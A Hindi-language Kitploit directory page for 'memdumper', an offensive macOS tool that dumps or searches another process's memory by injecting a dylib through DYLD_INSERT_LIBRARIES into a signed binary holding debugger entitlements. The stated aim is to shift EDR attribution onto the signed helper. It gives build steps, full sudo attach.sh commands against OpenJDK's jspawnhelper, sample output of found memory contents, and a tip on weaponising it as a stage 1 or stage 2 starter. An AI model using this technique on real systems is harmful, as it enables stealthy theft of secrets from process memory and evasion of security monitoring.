Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
memdumper — macOS डिबगर एंटाइटलमेंट्स और DYLD_INSERT_LIBRARIES का दुरुपयोग करके किसी चालू प्रक्रिया की मेमोरी को डंप या खोजता है, साथ ही EDR एट्रिब्यूशन को हस्ताक्षरित हेल्पर बाइनरी पर स्थानांतरित करता है। | Kitploit
उपकरण/GitHubGitHub/cenobyte-vincit/memdumper
मेमोरी फोरेंसिकआईडीएस/आईपीएस से बचनाजानकारी एकत्र करनापोस्ट-शोषणडिजिटल फोरेंसिकपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubcenobyte-vincit/memdumper

memdumper

macOS डिबगर एंटाइटलमेंट्स और DYLD_INSERT_LIBRARIES का दुरुपयोग करके किसी चालू प्रक्रिया की मेमोरी को डंप या खोजता है, साथ ही EDR एट्रिब्यूशन को हस्ताक्षरित हेल्पर बाइनरी पर स्थानांतरित करता है।

रिपॉजिटरी देखें
12122 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

memdumper

memdumper किसी चल रही macOS प्रक्रिया की मेमोरी को किसी अन्य हस्ताक्षरित बाइनरी के डिबगर एन्टाइटलमेंट के अंतर्गत पढ़ता है। उद्देश्य यह है कि task_for_pid और ptrace उस एन्टाइटल्ड बाइनरी के रूप में चलें, ताकि EDR उसे रिकॉर्ड करे, न कि memdumper को।

द्वारा cenobyte [email protected] 2026

https://github.com/cenobyte-vincit/memdumper

सारांश

memdumper एक एन्टाइटल्ड बाइनरी चलाता है जिसमें com.apple.security.cs.debugger और वे दो एन्टाइटलमेंट होते हैं जो DYLD_INSERT_LIBRARIES इंसर्ट की अनुमति देते हैं। इसका उपयोग root के रूप में किसी अन्य प्रक्रिया की मेमोरी खोजने और डंप करने के लिए करें। OpenJDK का jspawnhelper एक आम मिलने वाला बाइनरी है, खासकर डेवलपर मशीनों पर।

attach.sh को एक टारगेट PID और एन्टाइटल्ड बाइनरी दें। dylib कंस्ट्रक्टर उस बाइनरी के main से पहले चलता है, टारगेट पढ़ता है, फिर _exit करता है। एन्टाइटल्ड बाइनरी कभी main तक नहीं पहुँचती, इसलिए jspawnhelper जैसा हेल्पर अपना उपयोग बैनर नहीं छापता। एन्टाइटल्ड बाइनरी के बाद के अतिरिक्त तर्क कमांड लाइन पर बने रहते हैं, जिसे EDR रिकॉर्ड करता है। -s के बिना dylib प्रत्येक पठनीय क्षेत्र की शुरुआत का हेक्स-डंप करता है। -s के साथ वह उन क्षेत्रों में स्ट्रिंग खोजता है। टारगेट एड्रेस स्पेस में कुछ नहीं लिखा जाता। ptrace अटैच टारगेट को संक्षेप में रोक सकता है।

डंप की स्थिति मर्ज किए गए आउटपुट पर [RESULT] लाइन होती है। सफल इंसर्ट के बाद कंस्ट्रक्टर समाप्त होते ही एग्ज़िट 0 होता है।

आवश्यकताएँ

रनटाइम होस्ट

  • macOS (Darwin)
  • root
  • एक एन्टाइटल्ड बाइनरी जिसमें ये तीनों हों: com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables और com.apple.security.cs.disable-library-validation (उदाहरण के लिए OpenJDK का jspawnhelper)

बिल्ड होस्ट

  • macOS (Darwin) जिसमें Xcode Command Line Tools या Xcode हो
  • clang
  • make
  • shellcheck attach.sh और टेस्ट स्क्रिप्ट्स के लिए (brew install shellcheck)
  • cppcheck (brew install cppcheck)

बिल्ड

बिल्ड होस्ट पर:

root@kitploit:~
make

यह memdumper.dylib बनाता है। यदि मशीनें अलग हैं तो attach.sh और memdumper.dylib को टारगेट पर कॉपी करें।

उपयोग

memdumper.dylib वाली निर्देशिका से root के रूप में attach.sh चलाएँ। गैर-root कॉलर को एन्टाइटल्ड बाइनरी शुरू होने से पहले ही अस्वीकार कर दिया जाता है (root required)। इससे Developer Tool Access पासवर्ड डायलॉग (taskgated / Authorization Services) से बचा जाता है। वह डायलॉग Transparency, Consent, and Control (TCC) नहीं है।

root@kitploit:~
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]

पुष्टि करें कि किसी उम्मीदवार एन्टाइटल्ड बाइनरी में तीनों एन्टाइटलमेंट हैं। Cellar प्रीफ़िक्स और OpenJDK संस्करण अलग-अलग होते हैं; attach.sh अपनी हेल्प में यह लेआउट उपयोग करता है:

root@kitploit:~
codesign -d --entitlements - \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

PID 4543 के पठनीय क्षेत्र डंप करें:

root@kitploit:~
sudo ./attach.sh -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

उस प्रक्रिया में HELLO खोजें:

root@kitploit:~
sudo ./attach.sh -s HELLO -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

डंप को 50 पठनीय क्षेत्रों तक सीमित करें, java को एन्टाइटल्ड बाइनरी के रूप में उपयोग करते हुए। TestSpawn कमांड लाइन पर रहता है; java का main नहीं चलता:

root@kitploit:~
sudo ./attach.sh -n 50 -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn

बिना Hardened Runtime वाला एडिटर एक काम करने योग्य स्मोक टारगेट है। इसे उस उपयोगकर्ता के रूप में शुरू करें जो बफ़र का स्वामी है, फिर root के रूप में अटैच करें। एक टर्मिनल में:

root@kitploit:~
nano foo

HELLO को बफ़र में डालें ताकि स्ट्रिंग प्रक्रिया में रहे (फ़ाइल लिखें या बिना सहेजे छोड़ दें)। दूसरे टर्मिनल में, memdumper.dylib रखने वाली निर्देशिका से:

root@kitploit:~
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

हिट कुछ इस तरह दिखता है। उसके बाद प्रक्रिया एग्ज़िट 0 करती है:

root@kitploit:~
Target: pid 9810 (nano)
Target has no hardened runtime

[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00                                    |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec  22 90 00 00 00 00 00 00  |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00                                    |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done

attach.sh एन्टाइटल्ड बाइनरी के एन्टाइटलमेंट की जाँच नहीं करता। तीनों में से कोई भी एन्टाइटलमेंट गायब होने पर बाइनरी इंसर्ट के समय या task_for_pid पर विफल हो जाती है।

एग्ज़िट कोड

कोडअर्थ
0सफल इंसर्ट के बाद कंस्ट्रक्टर समाप्त हुआ
1उपयोग त्रुटि, root नहीं है, वर्तमान निर्देशिका में memdumper.dylib नहीं है, -p गायब है, टारगेट PID नहीं मिला, --force के बिना Hardened Runtime, या इंसर्ट नहीं हुआ (फिर एन्टाइटल्ड बाइनरी चली और गैर-शून्य एग्ज़िट हुई)

डंप परिणाम के लिए [RESULT] पढ़ें। एग्ज़िट 0 केवल यह दर्शाता है कि कंस्ट्रक्टर चला और उसने _exit किया।

कॉन्फ़िगरेशन

dylib तीन पर्यावरण चर पढ़ता है। attach.sh उन्हें फ़्लैग्स से सेट करता है।

कोई भी स्टार्टर जो DYLD_INSERT_LIBRARIES को memdumper.dylib पर और उन चरों को सेट करता है, dylib इंजेक्ट कर सकता है। attach.sh इन-ट्री स्टार्टर है।

सत्यापन

बिल्ड होस्ट पर, make dylib बनाता है और cppcheck तथा shellcheck चलाता है। make test यूनिट टेस्ट और फ़ंक्शनल सूट चलाता है। ये जाँचें क्लीन-रनटाइम का प्रमाण नहीं हैं।

लाइव सर्च और डंप टेस्ट के लिए Homebrew OpenJDK और uid 0 की आवश्यकता होती है। वे /opt/homebrew/Cellar और /usr/local/Cellar के अंतर्गत find की मदद से jspawnhelper ढूँढते हैं (कोई वर्जन पिन नहीं)। वे स्वयं sudo नहीं चलाते। Homebrew OpenJDK न होने पर, या यदि सूट पहले से uid 0 नहीं है, तो वे दोनों मामले स्किप हो जाते हैं (एग्ज़िट 77), इसलिए गैर-root make test Developer Tool Access प्रस्तुत नहीं करता। जब आप चाहें कि वे इंजेक्ट चलें तो sudo make test उपयोग करें।

root@kitploit:~
make
make test
sudo make test
make test-unit
make test-functional

सीमाएँ

  • Hardened Runtime task_for_pid, ptrace और मेमोरी रीड को ब्लॉक करता है (1Password, Chrome)। --force फिर भी कोशिश करता है और लगभग हमेशा विफल रहता है।
  • रनटाइम होस्ट को root चाहिए। गैर-root समान-UID अटैच Developer Tool Access पासवर्ड डायलॉग प्रस्तुत करता है: taskgated Authorization Services अधिकार system.privilege.taskport का मूल्यांकन करता है। वह डायलॉग TCC नहीं है। Developer Mode (DevToolsSecurity -enable) और admin या _developer की सदस्यता Homebrew jspawnhelper (adhoc, सार्वजनिक डिबगर एन्टाइटलमेंट) के लिए इसे दबा नहीं पाती। यह केवल Apple-हस्ताक्षरित टूल्स जैसे lldb के लिए पासवर्ड छोड़ता है। System Integrity Protection (SIP) सुरक्षित सिस्टम प्रक्रियाओं को root के रूप में भी पहुँच से बाहर रखता है।
  • कुछ प्रक्रियाएँ (bash सहित) अन्य जाँचों के कारण अटैच को अस्वीकार कर देती हैं।
  • attach.sh को स्क्रिप्ट के पास नहीं, बल्कि वर्तमान कार्यशील निर्देशिका में खोजता है। इसे पूरी तरह से हथियार बनाने के लिए, शिप करने के बजाय उस स्टार्टर को stage 1 या stage 2 में लागू करें।

यह भी देखें

  • ARCHITECTURE.md: एन्टाइटलमेंट इनहेरिटेंस, taskgated और system.privilege.taskport, तीन विधियाँ, EDR क्या रिकॉर्ड करता है
  • AGENTS.md: बिल्ड होस्ट बनाम टारगेट
टूल डाउनलोड करें
विकल्पअर्थ
-p, --pid PIDटारगेट प्रक्रिया ID (आवश्यक)
-s, --search STRINGपठनीय क्षेत्रों में STRING खोजें
-n, --max-regions Nहेक्स-डंप के लिए अधिकतम पठनीय क्षेत्र (डिफ़ॉल्ट 100)। केवल डंप पथ में
-f, --forceजब codesign Hardened Runtime रिपोर्ट करे तब भी जारी रखें
-h, --helpउपयोग प्रिंट करें (एग्ज़िट 1)
वेरिएबलद्वारा सेटअर्थ
MEMDUMPER_TARGET_PID-pटारगेट PID। यदि सेट न हो या धनात्मक पूर्णांक न हो, तो कंस्ट्रक्टर एक डायग्नोस्टिक प्रिंट करके लौट जाता है
MEMDUMPER_SEARCH-sयदि खाली नहीं है, तो डंप के बजाय खोजें
MEMDUMPER_MAX_REGIONS-nहेक्स-डंप करने योग्य पठनीय क्षेत्र (डिफ़ॉल्ट 100)। खोज पथ पर अनदेखा किया जाता है
memdumper.dylib
attach.sh
  • खोज प्रत्येक पठनीय क्षेत्र का अधिकतम 10 MiB पढ़ती है और अधिकतम 1000 क्षेत्रों को स्कैन करती है। डंप स्कैन 10000 क्षेत्रों के बाद रुक जाता है और प्रत्येक प्रदर्शित क्षेत्र के केवल पहले 256 बाइट्स प्रिंट करता है (-n / MEMDUMPER_MAX_REGIONS, डिफ़ॉल्ट 100)।
  • ptrace केवल अटैच और डिटैच है। यह मेमोरी डंप नहीं करता। [RESULT] 3/3 का अर्थ है कि तीनों कॉल सफल रहे, यह नहीं कि तीन डंप पथ चले।
  • macOS के लिए CrowdStrike Falcon प्रक्रिया के पर्यावरण चर लॉग करता है, जिनमें DYLD_INSERT_LIBRARIES शामिल है। थ्रेट हंटर इस इंसर्ट को पहचानने के लिए उस फ़ील्ड का उपयोग करते हैं।
  • प्रति इनवोकेशन एक टारगेट PID।